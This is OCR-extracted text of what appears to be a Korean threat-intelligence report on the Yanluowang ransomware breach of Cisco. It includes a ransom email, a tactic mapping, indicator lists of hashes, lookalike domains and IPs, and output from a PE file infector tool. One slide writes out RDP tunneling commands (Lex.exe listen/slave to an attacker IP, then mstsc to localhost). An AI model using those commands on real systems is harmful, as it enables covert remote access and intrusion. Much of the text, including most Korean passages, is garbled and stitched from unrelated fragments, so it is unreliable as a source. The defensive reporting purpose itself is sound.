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[22! 4] iatinfect.exe A8 3tH
c:\work>1atinfect

PE File Infector V1.0 Built 06/25/2014 By Winkgglrop

c:\work>1atinfect

PE File Infector K64 ¥1.0 Built 2014/09/24 By WinkEggDrop

c:\work>1atinfect

PE File Infector V1.8 Built 2014/18/31 By WinEggDrop

c:\work>iatinfect

PE File Infector V1.0 Built 2014/11/29 By HWinEggDrop

c:\work>iatinfect

PE File Infector K64 V1.0 Built 2014/11/29 By WinEggDrop

c:\work>iatinfect

PE File Infector Ho4 ¥1.0 Built 2015/09/83 By WinEggDrop
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[1] Shadow Force Uses DLL Hijacking, Targets South Korean Company
(https://blog.trendmicro.com/trendlabs—security-intelligence/shadow-force—uses—dll-hijacking-
targets—south—korean-company )

( http://documents.trendmicro.com/assets/pdf/shadow—force—technical-brief.pdf )

[2] HA QIZSMO| &2 ME ZA 7H7HO| X Eg{Lt

(https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&seq=29129)

[3] TTPs#7 SMB Admin ShareE &%t L2 0|5 XMzt B

( https://boho.or.kr/data/reportView.do?bulletin_writing_sequence=66830 )
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https://www.cybersecurity-insiders.com/ransomware-spreading-hackers-threatening-to-harass-employees-and-business-partners/
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Yanluowang Ransomware

EN PUBLICATED

Cisco confirms compromise as ransomware group publishes a partial list of files
it claims to have exfiltrated. Cisco also confirmed that only pre-ransomware
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activity was observed and that actual ransomware deployment was not identified.




ALO]EH IO CHQIE!

18

=Lt Cisco 2 YOO APH 230 ZoliMTt 2FHS = At HIEHFS| A0 HIEE US|
TEUH. Cisco?| 7|¢ 2FE0IM AEE 02 TTPE U AU HHEES ISt SHAQ| LKl ZH| &3
O|AZH.

0] Cisco Ati0li= SAAPE E2t@X XA BE S718kE Soll ZE9| /2 Google AdE £&AI7|1L 2A X1

5SS &M Cisco 712 AR AHASH SHSO0| UL

T2 RG] B Ciscod] 5 LAY T2B BHXK= Epio] IOl Google S MBHOE HSs 3
SIAQ] VPNOI CHSt £7| MA HBHS AUSLICE 0] BZAH= UNC2447 o Lapsus$ AlOJH| 2 Zx2}
Yanluowang 2S2I0f 18 BEO Chet £7| A B2 AmEUC

Yanluowang HZX| ZZI2 H|A(Vishing)2t MFA LIZ(MFA Fatigue)S Sl 342 AIXRHSLICE HIA
(Vishing)2 4l2[g 5= U= X[ ZEIZ E%%PI 2ot EII’_@MI Al g9 HoA Ol SZ0|H MFA I|=
(MFA Fatigue)= APt QS =

BZRLICE 0] F TIX] OA% Fetsiol BRie i Xglo] ZEACHA VPNE SISO B0 el
Cobalt Strike % Mimikatz2t & 0

Fh | WSLIC

0] AN SAX= HI0|E Eut HES 2lof Cifet =HE ARBRM=MI, 0§7(0l= TeamViewer. LogMelnit
22 HA AMA T3 Mimikatz, Imppacket, PowerSpoilt 2| &4 &4 2! 7|Ef =5150| LU 152
O A1 16k XIS LSS A-EMCH ntdsutil.exe?t 22 LOLbinZ AFESH{ NTDS EIEE

el SAKE S Aol AF0 SZE BOX 24 SHXMMT CIOEE REY = AMUSUL Ciscos
SAAPL Active DirectoryOilA Box ZH2| LiE1} XigO| QIF LI0EIE REIUXITH 20 HIEEXf= RHUCH
O] 5 AHHO| HIZHALL DA S FAI= HEUACL ASHSHH. SAKI= Of2het 20| O|HES So

— LS MH
Cisco AT S ME=HSUL. Cisco? 7= olid 250| R 20 HAHE = 2lAL ZET O|H[Y
SUS ANTHOH 2= Foll & R F L0 AMA Hots 2|=0k WL, 0129 B= A= HIIENHL B4
WS



Cisco incident

From:
Date: Saturday, July 30, 2022 at 8:51 AM
To:
Subject: Re: Cisco incident 5/28

We are giving you a very good deal. no one will know about the incident and information leakage if you pay us.

June 13, 2022 7:17:02 PM CEST I, o'
How are you?

e 3, 2022 9:27:46 Av CesT [ =

This is just the baginning, more 1o come,
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Cisco Confiential Information Agreement

i ll 1ol I I Cisco Confidential Information Agreement: Individuals
(Vendors, Contractors, Independent Contractors, Consultants, and

CISCO Parners)

This agreament (the “Agreement”) is entered into by and between Cisco Systems, Inc. ("Cisco” or
“Company’) and (“Individual) in consideration of Individual
performing services at or for Cisco and being allowed physical access to Cisco facilities and/or
electronic access lo Cisco computer systems (collectivaly refemed to hereinafter as “Access’).

1. Confidential Information. Individual understands that Cisco possesses Confidential Information
which is important to its business and that this Agreement creates an obligation on the part of
Individual with respect to Confidential Information. Individual agrees as follows:

a. Definition For purposas of this Agreement, the term "Confidential Information”™ shall mean any
and all {a) confidential knowledge, data or information related to Company's business orits  actual
or anticipated research or development, including without limitation (i) rade secrets, inventions,
ideas, processes, software programs and subroutines, computer source and object code,
algorithms, technology, data, formulae, programs, other works of authorship, know-how,
improvements, discoveries, developments, designs, and techniques; (i) information regarding
products, services, plans for research and development, marketing and business plans, budgets,
financial statements, contracts, prices, competitors, suppliers, and customers; (i) information
regarding the personal data, skills and/or compensation of Company’'s employees, contractors, and
any other service providers of Company; (iv) the existence of any business discussions,
negotiations, or agreements between Cisco and any third party, and (v) any other confidential
information of Company; and (b) any confidential knowledge, data or information of a third party
that is under a duty lo keep confidential.

e e Puleslasamn Dk daliond sadll Lo bn smmfldamos amd bmaml sl wdlll st ssmm o Alesloos s b

4) https://www.bleepingcomputer.com/news/security/cisco—hacked-by—yanluowang-ransomware—gang—28gb—allegedly-stolen/
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Multi-foctor authentication (MFA) is bypassed through
*wishing” and MFA fatigue

= ldentity detects bypassing attempts aond privilege
escalation.

Permission escalation o ]
administrotive privileges and allow login to multiple

Systems.

« [dentity detects wser account enumeration
against Active Directory.

B —

Enumaration using 'Windows utilities to identify user
and group membership configuration

chs Usar and Qroup rru-mb.:rchp-
enumaration and XDR outcnomous ogents block
oooess [o the remote system.

O/l —

&
./

o emiphoyes user credentiols ore horvested using
o Chrome:

+ |dentity hides credentials while deploying decoys.

— 02

MNew devices for MFA are odded to suco
outhenticate to Chco’s VPN

esafully

. |I;Fl;"|'|lll'f QRpTTS O mutiphe faled attempts o
perform a privileged action by the same user

B — 04

Offensive security & remote occess tooks are dropped
Bockdoor accounts & persistence mechanisms are added

= Hologram deploys decoy host production opps ond
lures attackers away from produchon systems.

= [dentity DotaClook pravents unauthonzed opps
from exfitroting protected data. Attockers would
not have gotten to this step.
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Appendix
Yanluownag Ransomware Gang Z& XIH

12 5] " KR
|} Recorded Future’
DORGAMIZATION, THREAT ACTOR € > |

Yanluowang Ransomware Gang

Show recent events or cyber events

Notes ® G insikt Group Motes
References 1 000+

First Referance Oct 21, 2021

Latest Reference Ot 13, 2022

Curated : 4

(7% 6] B2 18 B OME: C13Y 3

Show recent events in Table

REFERENCE COUNT

1460 Total References
283 Inthe Last 60 Days
0 inthea Last 7 Days

60 DAY E_ - Lm_ L] 0 TODAY

AYS 50 :
=34 o

L8]

ATTACKER DIRECTLY MENTIOMED IN CYBER ATTACKS Show recent cyber events In Table

17 Inthe Last 60 Days (Including Future Events)
O Inthe Last 7 Days

50 N 30 %] 10 TODAY



sy =t
[T 7] BAXL TTP 2MX|E
INSIKT GROUP RESEARCH LINKS Learn More @
summary of technical links for 100% of 5 primary research notes between jul 1, 2022 - Sep 14, 2022 Show in Table

Actors, Tools & TTPs
MITRE ATTLCK Enterprise Malware
dentifiar Yanluowang
T1003.001 (LSASS Memory)

T1002.002 (Security Acco...

T1003.003 (NTDS)

T1005 {Data from Local 5...

T1012 (Query Registry)

T1021 (Remote Services)

T1036.005 (Match Legitim...

T1048 (Exfiltration Over A...

T1048.001 (Exfiltration O...

T1070 (Indicator Removal...

T1070.001 (Clear Window...

T1071.001 (Web Protocols)

T1078 (Valid Accounts)

T1090.003 (Multi-hop Pro...

T1098.005 (Device Registr...

T1112 (Modify Registry)

T1136.001 (Local Account)

T1219 (Remote Access 50...

T1546.012 (Image File Exe...

T1562.004 (Disable or Mo...

4+ more In Table
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CONTEXT

Company &of 71
Twitter 1039

The Hacker Mews 108
Twitter Communicatio...
Shenzhen Micro Twitter Netwo...

Walmart 63
Google 59

Domain 6 of 23
cisco-help.cf 2
cisco-helpdesk.cf 2
ciscovpnl.com 2
ciscovpn.com 2
ciscovpn3.com 2
deveisco.com 2

Risk

.87

s 37
104 « 0

. od
50

Show in Table | »

Risk
L I
-2
o &7
57
- 5h
e 68

Show im Table | »

Organization 6 of 20 Risk
UNC2447 50

Lapsuss Group 47

Cyber Threat Intelligence & 4]

DeathStalker 3
Conti Gang 3

Hive Ransomware Group 3

Malware Category
Ransomware 257
Backdoor 11

Show in Table ] w

Risk

Remote Access Trojan =

Phishing Kit 2

Offensive Security Tools (O8T) 3

Stealware

Attack Vector G of 8
Phishing 60
Cyberattack 15
Vishing 5
Kerberoasting 2
Account Hijacking 2
Social Engineering 2

Show in Table |«

Risk

Show in Table |

a9

2 8l B xR
Hash 6 of 10 Rizk
184a2570d7 1eedc3cT7h6,.. 4 @72
2fcsbfoedcfalodage2353.. 4 @68
S42¢9dagB5633d027317e... 4 & 71
61176a5756c7b953be31e.. 4 966
753952aed395ea845¢52¢... 4 @67
8dfgdeef51cdfd3b2a%92a.. 4 @67

Shiow in Table|w

Technology & of 31

Multi Factor Authentication 63
Dark Web 21

Internet °5

Computer Networking 12
Hyper Text Transfer Protocol Se... 11
VPN 7

Risk

Show in Table | w

Country 6 of &
United States 14
Russia B

India 3
Denmark 3
Germany 2
China 2

Risk

Show in Table [

Threat Actar 6 of 13
UMNC2447 50
Lapsuss Group 47
Hackers 4
CyberCriminal 4
DeathStalker 3
Conti Gang 3

Risk

Show in Table |

Product 6 of 17
Twitter Media 104
Twitter Blue Labs 104
Cisco VPN 5
Sysinternals 2
PsExec 4
Google Sites 3

Risk

Show In Table [+

Show all entities in Table |~

Email Addrass Rizk
costacancordia@protonmail.com 2

noreply@blogger.com 2
thenewoil @freeradical.zone 1

Show in Table |

P Address 6 of 71 Risk
104.9131.30.201 2 33
108.191.224.47 2 29
131.150.216.118 2 28
134.209.88.140 2 29
138.68.227.71 2 =

139.177.192.145 2
Show in Table |w

nMahware 6 of 11 Risk
Yanluowang Ransomware 117
Cobalt Strike Offensive Security ... 3
Conti Ransomware Ransomware 2
Cuba Ransomware Ransomware 3
BazarCall Phishing Kit 2

Hive Ransomawvare Ransomware 2

Show in Table|w

Usarname & of 100+
@serghei on Twitter 41
@BleepinComputer on Twitter 32
@TheHackersMews on Twitter 12
@vxunderground on Twitter 10
@MgdHermes on Twitter 10
BGI7wirm on Twitter 9

Show in Table|w

Risk



Reference

» Watchtower report(SentinelOne)

* Threat Intelligence(Recorded Future)

* https://www.bleepingcomputer.com/news/security/cisco—hacked—by—yanluowang-ransomware—

gang—28gb—allegedly—stolen/

[ 10] AKXt &3 Hash

Hash 8e5733484982d0833abbd9¢73a05a667ec2d9d005bbf517b1c8cd4b1daf57190
Hash 753952aed395ea845¢52e3037119738cfc9a415070515de277e1a1baeff20647
Hash bb62138d173de997b36e9b07c20b2cal3eal5e9e6cd75ea0e8162e0d3ded83b7
Hash 184a2570d71eedc3c77b63fd9d2a066cd025d20ceef0f 75d428c6f7e5c6965f3
Hash 2fcbbf9edcfal9d48e235315e8f571638c99a1220be867e24f3965328fe94a03
Hash 542¢9da985633d027317e9a226ee70b4f0742dcbc59dfd2d4e59977bb870058d
Hash 99%bebe7e31f0al1d7eebd1e45ac3b9398384c1f0fab94565137abb14dc28c8a7f
Hash eb3452c64970f805f1448b78cd3c05d851d758421896edd5dfbe68e08e783d18
Hash 8df89eefb1cdf43b2a992ade6ad998b267ebb5e61305aeb765e4232e66eaf79a
Hash 61176a5756¢7b953bc31e5a53580d640629980a344aa5f147a20fb7d770b610

i 11] 34Xt B Domain

InternetDomainName

primecisco.com

InternetDomainName

devciscoprograms.com

InternetDomainName

ciscovpn2.com

InternetDomainName

kazaboldu.net

InternetDomainName

pwresetcisco.com

InternetDomainName

cisco—helpdesk.cf

InternetDomainName

devcisco.com

InternetDomainName

mycisco.cf

InternetDomainName

ciscovpn3.com

InternetDomainName

mycisco.gq

InternetDomainName

helpzonecisco.com

InternetDomainName

mycisco—helpdesk.ml

InternetDomainName

ciscovpnl.com

InternetDomainName

cisco—help.cf
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[F12] BAXt 23 [P Address

IP Address 185.220.101.65 IP Address 65.188.102.43
IP Address 104.131.30.201 IP Address 167.99.160.91
IP Address 172.58.220.52 IP Address 185.220.101.15
IP Address 139.177.192.145 IP Address 52.154.0.241
IP Address 45.32.141.138 IP Address 174.205.239.164
IP Address 185.220.101.16 IP Address 94.142.241.194
IP Address 45.227.255.215 IP Address 73.153.192.98
IP Address 64.227.0.177 IP Address 139.60.161.99
IP Address 161.35.137.163 IP Address 108.191.224.47
I[P Address 162.33.177.27 IP Address 143.198.131.210
IP Address 185.220.101.10 IP Address 178.128.171.206
I[P Address 45.61.136.83 IP Address 64.4.238.56
IP Address 139.60.160.20 IP Address 176.59.109.115
I[P Address 195.149.87.136 IP Address 185.220.101.34
I[P Address 45.32.228.189 IP Address 162.33.179.17
IP Address 82.116.32.77 IP Address 159.65.246.188
I[P Address 131.150.216.118 IP Address 165.227.219.211
IP Address 66.42.97.210 IP Address 138.68.227.71
I[P Address 45.145.67.170 IP Address 45.61.136.207
IP Address 185.220.101.79 IP Address 87.251.67.41
IP Address 185.220.101.45 IP Address 74.119.194.4
I[P Address 162.33.178.244 IP Address 166.205.190.23
IP Address 134.209.88.140 IP Address 185.220.100.244
IP Address 185.220.101.73 IP Address 74.119.194.203
IP Address 172.58.239.34 IP Address 67.171.114.251
I[P Address 76.22.236.142 IP Address 192.241.133.130
I[P Address 185.220.101.13 IP Address 143.198.110.248
IP Address 45.55.36.143 IP Address 68.46.232.60
I[P Address 24.6.144.43 IP Address 185.220.101.6
IP Address 165.232.154.73 IP Address 185.220.101.20
I[P Address 46.161.27.117 IP Address 5.165.200.7
IP Address 68.183.200.63 IP Address 45.61.136.5
IP Address 172.56.42.39 IP Address 194.165.16.98
IP Address 45.32.228.190 IP Address 185.220.101.2
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st RDP S4! 1pd

Attacker WAS1

1. Tunneling Port Listening
Lex.exe —listen <Port1> <Port2>

3. Tunneling Port RDP Connection q
mstsc.exe 127.0.0.1:<Port2>

Of &Hl HAl 75 7tsgh &AL HIZHSE 042 Al

2. Tunneling Port Connection
Lex.exe —slave <Attacker IP>:<Port1> 127.0.0.1:3389

4. RDP Connection success

Windows Security Event Log |D 4624
Connection success

Logon Type: 10
Network Information:
Workstation Name: WAS1
Source Network Address: 127.0.0.1
Source Port: 0
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d |_]y7gm0c4 Hj11yv10x L WExchSviV 1 S#FrontEndwHt pProxyowaauthity7TgmOcd Hj 1 1yV... 365 2022/07/21 22:43:49.005
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A0 ZA HHOIROLL
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